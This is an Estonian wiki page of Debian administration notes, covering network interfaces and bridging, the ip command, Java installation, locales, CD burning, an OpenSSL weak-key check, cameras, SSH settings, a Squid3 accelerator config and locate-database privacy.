Võrguseadmete seadistamine toimub faili /etc/networks/interfaces abil. Selle faili sisu alusel kehtestatakse võrguseadistused arvuti alglaadimisel või öeldes arvuti töötamisel&lt;br /&gt;
&lt;br /&gt;
  # /etc/init.d/networking restart&lt;br /&gt;
&lt;br /&gt;
Failis saab kasutada sellised sektsioone&lt;br /&gt;
&lt;br /&gt;
====lo ja eth võrguseadme seadistamine====&lt;br /&gt;
&lt;br /&gt;
  auto lo&lt;br /&gt;
  iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 192.168.10.10&lt;br /&gt;
   gateway 192.168.10.254&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
====dummy võrguseadme seadistamine====&lt;br /&gt;
&lt;br /&gt;
  auto dummy0&lt;br /&gt;
  iface dummy0 inet static&lt;br /&gt;
        address 192.168.13.251&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        network 192.168.13.0&lt;br /&gt;
        broadcast 192.168.13.255&lt;br /&gt;
&lt;br /&gt;
Kui on soov kasutada enam kui ühte dummy seadet, tuleb laadida dummy moodul sarnaselt&lt;br /&gt;
&lt;br /&gt;
  # modprobe dummy numdummies=5&lt;br /&gt;
&lt;br /&gt;
VLAN kasutamist tutvustatakse punktis http://kuutorvaja.eenet.ee/wiki/VLAN_kasutamine#Linux.27i_kasutamine_mode_trunk_re.C5.BEiimis&lt;br /&gt;
&lt;br /&gt;
===Silla kasutamine===&lt;br /&gt;
&lt;br /&gt;
Silla (ingl. k. bridge) kasutamine toimub paketis bridge-utils utiliitidega, paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bridge-utils&lt;br /&gt;
&lt;br /&gt;
Nt tekitame silla eth1 ja tap0 seadmetega&lt;br /&gt;
&lt;br /&gt;
 # brctl addbr br0&lt;br /&gt;
 # brctl addif br0 eth1&lt;br /&gt;
 # brctl addif br0 eth2&lt;br /&gt;
&lt;br /&gt;
Silla omadusi saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 # brctl show&lt;br /&gt;
 bridge name     bridge id               STP enabled     interfaces&lt;br /&gt;
 br0             8000.00064f320035       yes             eth1&lt;br /&gt;
                                                         eth2&lt;br /&gt;
&lt;br /&gt;
Silla kasutamiseks peavad olema seadmed üleval, nt silla üles tõstmiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # brctl br0 up&lt;br /&gt;
&lt;br /&gt;
Silla saab eemaldamiseks tuleb sild alla lasta, eemaldada seadmed ning lõpuks sild&lt;br /&gt;
&lt;br /&gt;
 # brctl br0 down&lt;br /&gt;
 # brctl delif br0 eth1&lt;br /&gt;
 # brctl delif br0 eth2&lt;br /&gt;
 # brctl delbr br0&lt;br /&gt;
&lt;br /&gt;
Sillale saab seadistada ka ip aadressi, nii nagu paljudele muudele võrguseadmetele&lt;br /&gt;
&lt;br /&gt;
 # ifconfig br0 192.168.1.200 netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab&lt;br /&gt;
&lt;br /&gt;
 # ifconfig br0&lt;br /&gt;
 br0      Link encap:Ethernet  HWaddr 00:17:42:02:0b:8a  &lt;br /&gt;
          inet addr:192.168.1.250  Bcast:192.168.1.255  Mask:255.255.255.0&lt;br /&gt;
          inet6 addr: fe80::5c63:deff:fe92:e125/64 Scope:Link&lt;br /&gt;
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
          RX packets:38 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:17 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0 &lt;br /&gt;
          RX bytes:2008 (1.9 KiB)  TX bytes:3101 (3.0 KiB)&lt;br /&gt;
&lt;br /&gt;
kusjuures bridge mac aadressina kasutatakse vaikimisi kõige väiksemat mac aadressi bridge külge ühendatud seadmetest, st see aadress võib muutuda bridge töötamise käigus. mac aadressi saab ka muuta, nt&lt;br /&gt;
&lt;br /&gt;
 # ifconfig br0 hw ether 70:01:68:00:12:50&lt;br /&gt;
&lt;br /&gt;
STP (Spanning Tree Protocol) sisselülitamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # brctl stp br0 on&lt;br /&gt;
&lt;br /&gt;
ja silla STP info esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # brctl showstp br0&lt;br /&gt;
 br0&lt;br /&gt;
  bridge id              8000.00064f320035&lt;br /&gt;
  designated root        8000.00064f320035&lt;br /&gt;
  root port                 0                    path cost                  0&lt;br /&gt;
  max age                  20.00                 bridge max age            20.00&lt;br /&gt;
  hello time                2.00                 bridge hello time          2.00&lt;br /&gt;
  forward delay            15.00                 bridge forward delay      15.00&lt;br /&gt;
  ageing time             300.01&lt;br /&gt;
  hello timer               1.49                 tcn timer                  0.00&lt;br /&gt;
  topology change timer     0.00                 gc timer                   5.49&lt;br /&gt;
  flags&lt;br /&gt;
 &lt;br /&gt;
 eth1 (1)&lt;br /&gt;
  port id                8001                    state                  disabled&lt;br /&gt;
  designated root        8000.00064f320035       path cost                  4&lt;br /&gt;
  designated bridge      8000.00064f320035       message age timer          0.00&lt;br /&gt;
  designated port        8001                    forward delay timer        0.00&lt;br /&gt;
  designated cost           0                    hold timer                 0.00&lt;br /&gt;
  flags&lt;br /&gt;
 &lt;br /&gt;
 eth2 (2)&lt;br /&gt;
  port id                8002                    state                forwarding&lt;br /&gt;
  designated root        8000.00064f320035       path cost                  4&lt;br /&gt;
  designated bridge      8000.00064f320035       message age timer          0.00&lt;br /&gt;
  designated port        8002                    forward delay timer        0.00&lt;br /&gt;
  designated cost           0                    hold timer                 0.48&lt;br /&gt;
  flags&lt;br /&gt;
&lt;br /&gt;
kust on näha, et &lt;br /&gt;
&lt;br /&gt;
* antud juhtumil on silla üks komponent välja lülitatud&lt;br /&gt;
&lt;br /&gt;
Sillaga seotud mac aadresside esitamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # brctl showmacs br0&lt;br /&gt;
 port no mac addr                is local?       ageing timer&lt;br /&gt;
   2     00:06:4f:32:00:35       yes                0.00&lt;br /&gt;
   1     00:06:4f:63:e3:d7       yes                0.00&lt;br /&gt;
   2     00:0c:42:07:1a:45       no                 0.04&lt;br /&gt;
   2     00:16:3e:00:00:01       no                83.98&lt;br /&gt;
   2     00:1c:c0:38:89:07       no                22.58&lt;br /&gt;
   2     70:01:68:00:11:45       no               227.43&lt;br /&gt;
   2     70:01:68:01:02:49       no                33.48&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Bridging_(networking)&lt;br /&gt;
* http://tldp.org/HOWTO/BRIDGE-STP-HOWTO/index.html&lt;br /&gt;
* http://en.wikipedia.org/wiki/Spanning_tree_protocol&lt;br /&gt;
* http://en.wikipedia.org/wiki/LAN_switching&lt;br /&gt;
* http://backreference.org/2010/07/28/linux-bridge-mac-addresses-and-dynamic-ports/&lt;br /&gt;
&lt;br /&gt;
===Võrgu seadistamine programmiga ip===&lt;br /&gt;
&lt;br /&gt;
Programm ip võimaldab Linuxi kaasaegsetes 2.4 ja 2.6 tuumades sisalduva võrguliideste toega oluliselt  paindlikumalt ümber käia&lt;br /&gt;
kui ifconfig. Näited käsudest, mida on ohutu anda töötavas masinas.&lt;br /&gt;
&lt;br /&gt;
====Seadmed====&lt;br /&gt;
&lt;br /&gt;
 # ip link show&lt;br /&gt;
 1: lo:  mtu 16436 qdisc noqueue &lt;br /&gt;
     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
 2: eth0:  mtu 1500 qdisc pfifo_fast qlen 1000&lt;br /&gt;
     link/ether 00:07:e9:0b:d3:26 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
&lt;br /&gt;
====Seadme aadressid====&lt;br /&gt;
&lt;br /&gt;
Aadresside esitamine&lt;br /&gt;
&lt;br /&gt;
 # ip address show eth1&lt;br /&gt;
   3: eth1:  mtu 1500 qdisc pfifo_fast qlen 1000&lt;br /&gt;
      link/ether 00:07:e9:0b:d3:d3 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
      inet 10.0.6.5/24 brd 10.0.6.255 scope global eth1&lt;br /&gt;
      inet 10.0.6.6/24 brd 10.0.6.255 scope global secondary eth1:1 &lt;br /&gt;
&lt;br /&gt;
====Ruuting====&lt;br /&gt;
&lt;br /&gt;
Ruutingute esitamine&lt;br /&gt;
&lt;br /&gt;
 # ip route show&lt;br /&gt;
  10.0.5.0/24 dev eth3  proto kernel  scope link  src 10.0.5.1 &lt;br /&gt;
  10.0.6.0/24 dev eth0  proto kernel  scope link  src 10.0.6.1 &lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ruutingu lisamine&lt;br /&gt;
&lt;br /&gt;
 # ip route add 192.168.10/24 dev eth0&lt;br /&gt;
&lt;br /&gt;
Ruutingu eemaldamine&lt;br /&gt;
&lt;br /&gt;
 # ip route del default via 10.0.14.1 dev eth0&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Näited kästudest, mida on ehk ohutu anda töötava masina kasutuses mitte olema võrguseadme suhtes&lt;br /&gt;
&lt;br /&gt;
 # ip addr add 100.100.100.4/16 dev eth4&lt;br /&gt;
 # ip addr del 100.100.100.4/16 dev eth4&lt;br /&gt;
&lt;br /&gt;
nn ifconfig'i aliased &lt;br /&gt;
&lt;br /&gt;
Osade teadlaste arvates on see tänapäeval täiesti igand rääkida ethx:x aliastest. Et lihtsalt saab seadmele omistada mitu aadressi ja kogu lugu. Kui aga on juhtunud selline õnnetu lugu, et seadmel on nt eth0:1 aadress, siis saab seda eemaldada lihtsalt sedasi&lt;br /&gt;
&lt;br /&gt;
 # ip addr del 195.80.96.214 dev eth0&lt;br /&gt;
&lt;br /&gt;
===Java kasutamine===&lt;br /&gt;
&lt;br /&gt;
Java ehk JVM (Java Virtual Machine) tarkvara kasutamiseks on Debianis mitmeid võimalusi. Kui on kavatsus jääda paketihaldusest paigaldatud tarkvara kasutamise juurde, siis tõenäoliselt  on otstarbekas lasta paketihaldusel töötada ja kasutada Debiani Java pakette. Kui aga kasutatakse mingit eraldiseisvat tarkvara, nt Tomcat, GlassFish vms Java rakendusserverit, siis on ehk otstarbekas kasutada http://java.sun.com/ veebikohast kopeeritud Javat.&lt;br /&gt;
&lt;br /&gt;
====Java kasutamine paketihaldusest====&lt;br /&gt;
&lt;br /&gt;
Debiani Lenny paketihalduses on olemas sellised Java kompilaatorit sisaldavad Java implementatsioonid&lt;br /&gt;
&lt;br /&gt;
  $ aptitude search &amp;quot;?provides(java-compiler)&amp;quot;&lt;br /&gt;
  p   gcj             - The GNU Java compiler                                                   &lt;br /&gt;
  p   gcj-4.2         - The GNU compiler for Java(TM)                                           &lt;br /&gt;
  p   gcj-4.3         - The GNU compiler for Java(TM)                                           &lt;br /&gt;
  p   jikes-classpath - clean room standard Java libraries - wrapper for jikes                  &lt;br /&gt;
  p   jikes-kaffe     - Wrapper for jikes using Kaffe classes                                   &lt;br /&gt;
  p   kaffe-jthreads  - A green threads enabled version of the Kaffe VM                         &lt;br /&gt;
  p   kaffe-pthreads  - A POSIX threads enabled version of the Kaffe VM                         &lt;br /&gt;
  p   sun-java5-jdk   - Sun Java(TM) Development Kit (JDK) 5.0                                  &lt;br /&gt;
  p   sun-java6-jdk   - Sun Java(TM) Development Kit (JDK) 6&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldatakse nagu ikka Debiani pakett ning kasutatakse nagu ikka Javat.&lt;br /&gt;
&lt;br /&gt;
====Sun Java kasutamine====&lt;br /&gt;
&lt;br /&gt;
Sun on Java autor ja üks oluline edasiarendaja, kuid on ka teisi Java implementatsioone. Sun Java saab kasutaja kopeerida aadressilt http://java.sun.com/ kus saab tutvuda ka Java kasutustingimustega.&lt;br /&gt;
&lt;br /&gt;
Sun jagab Javat üsna erinevates pakendustes, kusjuures erinevus on kolmel nö teljel&lt;br /&gt;
&lt;br /&gt;
* millisele funktsionaalsusele on orieteeritud - SE (Standard Edition), EE (Enterprise Edition), ME (Micro Edition)&lt;br /&gt;
* kas tegu on arendusvahendi või nö kasutusvahendiga - nt SDK (Software development kit) vs JRE (Java Runtime Environment), viimane sisaldub esimeses&lt;br /&gt;
* versiooninumber&lt;br /&gt;
&lt;br /&gt;
Erinevad versioonid 2009 suve seisuga&lt;br /&gt;
&lt;br /&gt;
* 1.3 - vana versioon, mida kasutavad ehk vaid mõned nö riistvaras javat sisaldavad seadmed&lt;br /&gt;
* 1.4 - mõned nö legacy rakendustega Tomcat rakendusserverid võiksid seda veel kasutada&lt;br /&gt;
* 5 (vahel nimetatakse 1.5) - täiesti veel kasutuses, mõnda rakendust soovitatakse kasutada sellel versioonil&lt;br /&gt;
* 6 (vahel nimetatakse 1.6) - viimane stabiilne versioon&lt;br /&gt;
&lt;br /&gt;
Tundub, et juhtumil kui ei ole teada millist Javat kasutada, siis on sobiv valida SE SDK versioon 1.6, mille saab kopeerida http://java.sun.com/ veebikohast liikudes&lt;br /&gt;
&lt;br /&gt;
  Downloads -&amp;gt; Java SE -&amp;gt; Java SE Development Kit (JDK 6 Update 16) -&amp;gt; Download&lt;br /&gt;
&lt;br /&gt;
ning täpsustada platvorm, nt&lt;br /&gt;
&lt;br /&gt;
* Linux64 - 64 bit Linux&lt;br /&gt;
* Linux - 32 bit Linux&lt;br /&gt;
&lt;br /&gt;
Seejärel valida nimekirjast .bin&lt;br /&gt;
&lt;br /&gt;
  File Description              Name                            Size&lt;br /&gt;
  Java SE Development Kit 6u16  jdk-6u16-linux-x64-rpm.bin 	74.04 MB&lt;br /&gt;
  Java SE Development Kit 6u16  jdk-6u16-linux-x64.bin          78.08 MB&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb otsustada, millises kataloogis JVM asuma hakkab, olgu see nt /usr/local/java6, selleks tuleb minna juurkasutajana kataloogi /usr/local&lt;br /&gt;
&lt;br /&gt;
  # cd /usr/local&lt;br /&gt;
  # sh jdk-6u16-linux-x64.bin&lt;br /&gt;
  vastata küsimustele jaatavalt&lt;br /&gt;
  # ln -s /usr/local/tekkinud-katalooginimi /usr/local/java6&lt;br /&gt;
&lt;br /&gt;
Java kasutamiseks tuleb seada ja kui peetakse vajalikuks, lisada teele&lt;br /&gt;
&lt;br /&gt;
  $ export JAVA_HOME=/usr/local/java6&lt;br /&gt;
  $ export PATH=/usr/local/java6/bin:$PATH&lt;br /&gt;
&lt;br /&gt;
Seejärel saab nt küsida Java versiooni öeldes&lt;br /&gt;
&lt;br /&gt;
  $ /usr/local/java6/bin/java -version&lt;br /&gt;
  java version &amp;quot;1.6.0_16&amp;quot;&lt;br /&gt;
  Java(TM) SE Runtime Environment (build 1.6.0_16-b01)&lt;br /&gt;
  Java HotSpot(TM) 64-Bit Server VM (build 11.3-b02, mixed mode)&lt;br /&gt;
&lt;br /&gt;
====Iceweaseli Java lisa====&lt;br /&gt;
&lt;br /&gt;
Iceweaseli ehk Firefox 3.x versiooniga java kasutamiseks on i386 keskkonnas olemas plugin&lt;br /&gt;
&lt;br /&gt;
  # apt-get install sun-java5-plugin&lt;br /&gt;
&lt;br /&gt;
või &lt;br /&gt;
&lt;br /&gt;
  # apt-get install sun-java6-plugin&lt;br /&gt;
&lt;br /&gt;
===Lokaat===&lt;br /&gt;
&lt;br /&gt;
Lokaatide kasutamiseks tuleb paigalda pakett locales &lt;br /&gt;
&lt;br /&gt;
  # apt-get install locales&lt;br /&gt;
&lt;br /&gt;
ning edasiseks seadistamiseks saab öelda, asjakohased seadistusfailid on iseenesest /etc/environment ning /etc/default/locale&lt;br /&gt;
&lt;br /&gt;
  # dpkg-reconfigure locales&lt;br /&gt;
&lt;br /&gt;
Süsteemi vaikelokaat võiks olla ehk C serverite puhul, aga see on kasutaja otsustada kuidas ta paremaks peab.&lt;br /&gt;
&lt;br /&gt;
Lokaatide nimekirja esitamiseks tuleb öelda, nt selline võiks olla üsna tüüpiline tulemus&lt;br /&gt;
&lt;br /&gt;
  # locale -a&lt;br /&gt;
  C&lt;br /&gt;
  POSIX&lt;br /&gt;
  et_EE.utf8&lt;br /&gt;
&lt;br /&gt;
Kui seadistada lisaks nt ru_RU.utf8 ja fr_FR.utf8, siis saab lugeda vene ja prantsuse keelseid manuaale. Nt öeldes nö tavalises xtermis&lt;br /&gt;
&lt;br /&gt;
 $ export LANG=fr_FR.utf8&lt;br /&gt;
 $ uxterm&lt;br /&gt;
&lt;br /&gt;
mis paistab selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Os-debian-kasutamine-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Lisaks töötab nt w3m ja lynx uxterm aknas vene keeles.&lt;br /&gt;
&lt;br /&gt;
===CD plaadi kirjutamine===&lt;br /&gt;
&lt;br /&gt;
Niisama plaadile  kirjutamiseks tuleb esmalt moodustada failidest tõmmis öeldes näiteks&lt;br /&gt;
&lt;br /&gt;
  # genisoimage -o ../tommis.iso .&lt;br /&gt;
&lt;br /&gt;
ning seejärel kopeerida tõmmis plaadile öeldes&lt;br /&gt;
&lt;br /&gt;
  # cdrecord -v speed=10 dev=/dev/cdrom tommis.iso&lt;br /&gt;
&lt;br /&gt;
Kui tegu on RW plaadiga, siis ennem järgmist kirjutamist tuleb plaat puhastada käsuga&lt;br /&gt;
&lt;br /&gt;
  # cdrecord -v dev=/dev/cdrom blank=fast&lt;br /&gt;
&lt;br /&gt;
Squeeze puhul&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wodim&lt;br /&gt;
 # wodim -v speed=8 dev=/dev/sr0 tommis.iso&lt;br /&gt;
&lt;br /&gt;
korduvkirjutatava plaadi kustutamiseks&lt;br /&gt;
&lt;br /&gt;
 # wodim -v dev=/dev/cdrom blank=fast&lt;br /&gt;
&lt;br /&gt;
===Klaviatuuriasetus konsoolil===&lt;br /&gt;
&lt;br /&gt;
Klaviatuuriasetuse muutmiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # dpkg-reconfigure console-data&lt;br /&gt;
&lt;br /&gt;
ning valida sobiv asetus. NB! Ka mac'i asetus on olemas.&lt;br /&gt;
&lt;br /&gt;
===OpenSSL probleem===&lt;br /&gt;
&lt;br /&gt;
2008 aasta kevadel ilmnes, et Debiani arendajad olid OpenSSL tarkvara pakendamisel tekitanud avalike võtmete genereerimist puudutavas osas vea, mille tõttu osa varasemalt Debian Etch abil tekitatud võtmeid ja sertifikaate on ärakasutatavad. Kas konkreetne sertifikaat on haavatav saab kontrollida programmiga openssl-vulnkey. Esmalt tuleb paigaldada Backportsidest pakett openssl-blacklist ning öelda&lt;br /&gt;
&lt;br /&gt;
  # cat sertifikaat.pem | openssl-vulnkey -&lt;br /&gt;
  COMPROMISED: b3409bf40c63d0d8fc3e1625e9cac2076e20d1e7 -&lt;br /&gt;
&lt;br /&gt;
===Helikaardi kastumine===&lt;br /&gt;
&lt;br /&gt;
Kui helikaart on arvutisse füüsiliselt paigaldatud, siis vajadusel saab SoX tarkvara utiliitide abil kontrollida, kas heli salvestamine mikrofoni abil ja heli taasesitamine töötavad.&lt;br /&gt;
&lt;br /&gt;
Sox tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install sox&lt;br /&gt;
&lt;br /&gt;
Salvestamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # rec -t .wav /tmp/failinimi.wav&lt;br /&gt;
&lt;br /&gt;
Taasesitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # play /tmp/failinimi.wav&lt;br /&gt;
&lt;br /&gt;
Lisaks on asjakohane kasutada mikserit, nt aumix või alsamixer, just mikrofoni sisselülitamiseks, käivitades xtermi aknas võiks paista selline pilt, vajadusel käivitamisel näidata seadme number, nt&lt;br /&gt;
&lt;br /&gt;
 # alsamixer -c 1&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Alsamixer-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* F6 abil saab valida helikaarti, sh virtuaalset (PulseAudio)&lt;br /&gt;
&lt;br /&gt;
===Digifotokaamera kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tänapäeval on levinud nn digitaalsed fotokaamerad, mida saab ühendada arvutiga USB liidese abil selleks, et kopeerida arvutisse fotoaparaadi flash diskile salvestatud pildid. Üks populaarne tarkvara, mis võimaldab suhelda fotokaameraga on gphoto2 http://gphoto.sourceforge.net/.&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install gphoto2&lt;br /&gt;
&lt;br /&gt;
Graafiline nö pealisehitus gphoto2 tarkvarale on gtkam, mille paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install gtkam&lt;br /&gt;
&lt;br /&gt;
Piltide kopeerimiseks tuleb kaamera ühendada arvutiga ning lülitada piltide kopeerimise režiimile, operatsioonisüsteem peaks seejärel USB seadme ära tundma&lt;br /&gt;
&lt;br /&gt;
  # lsusb&lt;br /&gt;
  ...&lt;br /&gt;
  Bus 001 Device 006: ID 04a9:309a Canon, Inc. PowerShot A80&lt;br /&gt;
  Bus 001 Device 001: ID 0000:0000&lt;br /&gt;
&lt;br /&gt;
Peale gtkam programmi käivitamist peaks gtkam suutma avastada kaamera ning esitama sarnase kasutajaliidese&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Gtkam-1.gif]]&lt;br /&gt;
&lt;br /&gt;
gphoto2 programmi abil saab kaamerat otsekohesemalt juhtida, aga eeldusel, et gtkam või mõni muu programm seda ei kasuta. Nt saab küsida kaamera kohta kokkuvõtet öeldes&lt;br /&gt;
&lt;br /&gt;
  # gphoto2 --summary&lt;br /&gt;
  Camera summary:                                                                &lt;br /&gt;
  Model: Canon PowerShot A80&lt;br /&gt;
    device version: 01.0001&lt;br /&gt;
    serial number:  (null)&lt;br /&gt;
  Vendor extension ID: 0x0000000b&lt;br /&gt;
  Vendor extension description: (null)&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
või kopeerida kõik failid kaamerast failisüsteemi käesolevasse kataloogi&lt;br /&gt;
&lt;br /&gt;
  # gphoto2 --get-all-files&lt;br /&gt;
  Downloading 'IMG_3601.JPG' from folder '/store_00010001/DCIM/236CANON'...&lt;br /&gt;
  Saving file as IMG_3601.JPG&lt;br /&gt;
  Downloading 'IMG_3602.JPG' from folder '/store_00010001/DCIM/236CANON'...&lt;br /&gt;
  Saving file as IMG_3602.JPG      &lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
Android telefonist vms seadmest kopeerimisel on praktiline näidata kataloog, nt Google Nexus 5 nutitelefon puhul&lt;br /&gt;
&lt;br /&gt;
 $ gphoto2 --get-all-files -f /store_00010001/DCIM/Camera&lt;br /&gt;
&lt;br /&gt;
Sony Xperia tahvelarvutiga&lt;br /&gt;
&lt;br /&gt;
 $ gphoto2 --get-all-files -f /store_00010001/DCIM/100ANDRO&lt;br /&gt;
&lt;br /&gt;
Kui seadme ühendamise ta nö mountitakse, siis võib olla vajalik ta File Manager programmis vms kohal lahti lasta.&lt;br /&gt;
&lt;br /&gt;
===SSH kasutamine===&lt;br /&gt;
&lt;br /&gt;
Kui Debian on juhtumisi paigaldatud Networkless siis puudub vaikimisi openssh-server, selle paigaldamiseks tuleb öelda käsk&lt;br /&gt;
&lt;br /&gt;
 # apt-get install openssh-server&lt;br /&gt;
&lt;br /&gt;
Mille järel starditakse server ka automaatselt, kasutaja mureks on vaid sisse logida.&lt;br /&gt;
&lt;br /&gt;
Kui Debian Lenny ssh kliendiga sisselogimine teistesse süsteemidesse on muutunud rahulikuks (nt vana RedHat 4 ES või Solaris 10 ssh serverid oma default väärtustega) ning -v võtmega käivitatud klient ütleb muu seas&lt;br /&gt;
&lt;br /&gt;
  debug1: Authentications that can continue: gssapi-keyex,\&lt;br /&gt;
    gssapi-with-mic,publickey,password,keyboard-interactive&lt;br /&gt;
  debug1: Next authentication method: gssapi-keyex&lt;br /&gt;
  debug1: No valid Key exchange context&lt;br /&gt;
  debug1: Next authentication method: gssapi-with-mic&lt;br /&gt;
  debug1: Unspecified GSS failure.  Minor code may provide more information&lt;br /&gt;
  No credentials cache found&lt;br /&gt;
  &lt;br /&gt;
  debug1: Unspecified GSS failure.  Minor code may provide more information&lt;br /&gt;
  No credentials cache found&lt;br /&gt;
&lt;br /&gt;
siis aitab kliendi seadistusfailis, nt /etc/ssh/ssh_config kasutada selliselt seadistatud parameetrit&lt;br /&gt;
&lt;br /&gt;
  GSSAPIAuthentication no&lt;br /&gt;
&lt;br /&gt;
===Veebikaamera kasutamine===&lt;br /&gt;
&lt;br /&gt;
Veebikaamera on väike videokaamera, mis tavaliselt ühendatakse arvutiga USB abil ning teda sobib kasutada nt Skype programmi juures enda visuaalseks reaalajas esitlemiseks. &lt;br /&gt;
&lt;br /&gt;
Veebikaamera kasutamise ettevalmistamisel peab peale kaamera arvutiga ühendamist ilmuma USB seadmete nimekirja uus seade, midagi sellist&lt;br /&gt;
&lt;br /&gt;
  # lsusb&lt;br /&gt;
  ..&lt;br /&gt;
  Bus 001 Device 003: ID 046d:092e Logitech, Inc. QuickCam Chat&lt;br /&gt;
&lt;br /&gt;
Selle spca5xx chipsetiga Logitechi QuickCam Chat veebikaamera kasutamiseks tuleb paigaldada Lennile vastav draiver valides sobiva, st oma tuuma platvormile sobiva tuumamooduli, nt&lt;br /&gt;
&lt;br /&gt;
  # apt-get install gspca-modules-2.6-686&lt;br /&gt;
&lt;br /&gt;
Lisaks peab see kasutaja, kelle alt Skype programm töötab kuuluma video gruppi, vajadusel tuleb redigeeerida /etc/group faili&lt;br /&gt;
&lt;br /&gt;
  # grep video /etc/group&lt;br /&gt;
  video:x:44:kasutajanimi&lt;br /&gt;
&lt;br /&gt;
Kui kasutaja määrati gruppi kuuluma, siis tuleb korraks süsteemist logida välja ja tagasi sisse, et gruppikuuluvus kehtestuks. Valides seejärel Skype programmi Options peaks olema kaamera kasutamise võimalus olemas&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Veebikaamera-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Veebikaamerat oskavad kasutada lisaks mitmed muud programmid, nt Cheese (gnome komponent), Gqcam.&lt;br /&gt;
&lt;br /&gt;
===Mälukaartide kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nn mälukäärte esineb külluses, need mis ühendatakse arvutile külge USB liidese kaudu, kas otse või nö lugeja abil paistavad operatsioonisüsteemile tavaliselt SCSI seadmena. Seega, kasutamiseks tavaliselt piisab teha kindlaks dmesg väljundi lõpust millise nimega /dev/sdx seade on juurde tekkinud ning monteerida seejärel ta külge, nt&lt;br /&gt;
&lt;br /&gt;
  # mount /dev/sdc1 /mnt/malukaart&lt;br /&gt;
&lt;br /&gt;
===Squid v. 3 kasutamine===&lt;br /&gt;
&lt;br /&gt;
Lenny paketihaldusest saab paigaldada Squid v. 3 tarkvara öeldes&lt;br /&gt;
&lt;br /&gt;
  # apt-get install squid3&lt;br /&gt;
&lt;br /&gt;
====Kasutamine kiirendina====&lt;br /&gt;
&lt;br /&gt;
Squid3 kiirendina kasutamiseks sobib kasutada sellist seadistusfaili&lt;br /&gt;
&lt;br /&gt;
  cache_dir ufs /var/spool/squid3 768 16 256&lt;br /&gt;
  http_port 10.0.6.249:80 defaultsite=www.siseministeerium.ee vhost&lt;br /&gt;
  icp_port 0&lt;br /&gt;
  &lt;br /&gt;
  cache_peer 10.0.6.95 parent 80 0 no-query originserver name=www100695 login=PASS&lt;br /&gt;
  acl sites_www_100695 dstdomain src &amp;quot;/etc/squid3/sites_www100695.txt&amp;quot;&lt;br /&gt;
  cache_peer_access www100695 allow sites_www_100695&lt;br /&gt;
  &lt;br /&gt;
  cache_peer 10.0.6.96 parent 80 0 no-query originserver name=www100696 login=PASS&lt;br /&gt;
  acl sites_www_100696 dstdomain src &amp;quot;/etc/squid3/sites_www100696.txt&amp;quot;&lt;br /&gt;
  cache_peer_access www100696 allow sites_www_100696&lt;br /&gt;
  &lt;br /&gt;
  acl all src 0.0.0.0/0.0.0.0&lt;br /&gt;
  acl localhost src 127.0.0.1/255.255.255.255 10.0.0.0/255.255.255.0&lt;br /&gt;
  acl Safe_ports port 80          # http&lt;br /&gt;
  &lt;br /&gt;
  http_access deny !Safe_ports&lt;br /&gt;
  http_access allow all&lt;br /&gt;
  &lt;br /&gt;
  access_log /var/log/squid3/access.log squid&lt;br /&gt;
  emulate_httpd_log       on&lt;br /&gt;
&lt;br /&gt;
===locate andmebaas===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi moodustab Debian updatedb programmi käivitamisel cron'ist nn locate andmebaasi, milles sisaduvad süsteemis leiduvate failid nimed. Seda andmebaasi saab kasutada nt selliselt&lt;br /&gt;
&lt;br /&gt;
  # locate .bash_history&lt;br /&gt;
  /root/.bash_history&lt;br /&gt;
  /srv/backup/500g-vint/home/mart/.bash_history&lt;br /&gt;
&lt;br /&gt;
locate andmebaas võib osutuda mitmel juhul ebasoovitavaks&lt;br /&gt;
&lt;br /&gt;
* andmebaasi salvestatakse andmed, mis seal ei peaks sisalduma; nt kui veebiserveri kasutajana saab käivitada programme, siis annab see baas ilmselt soovimatut lisainfot kasutajale ühe või teise faili olemasolust ja asukohast failisüsteemis&lt;br /&gt;
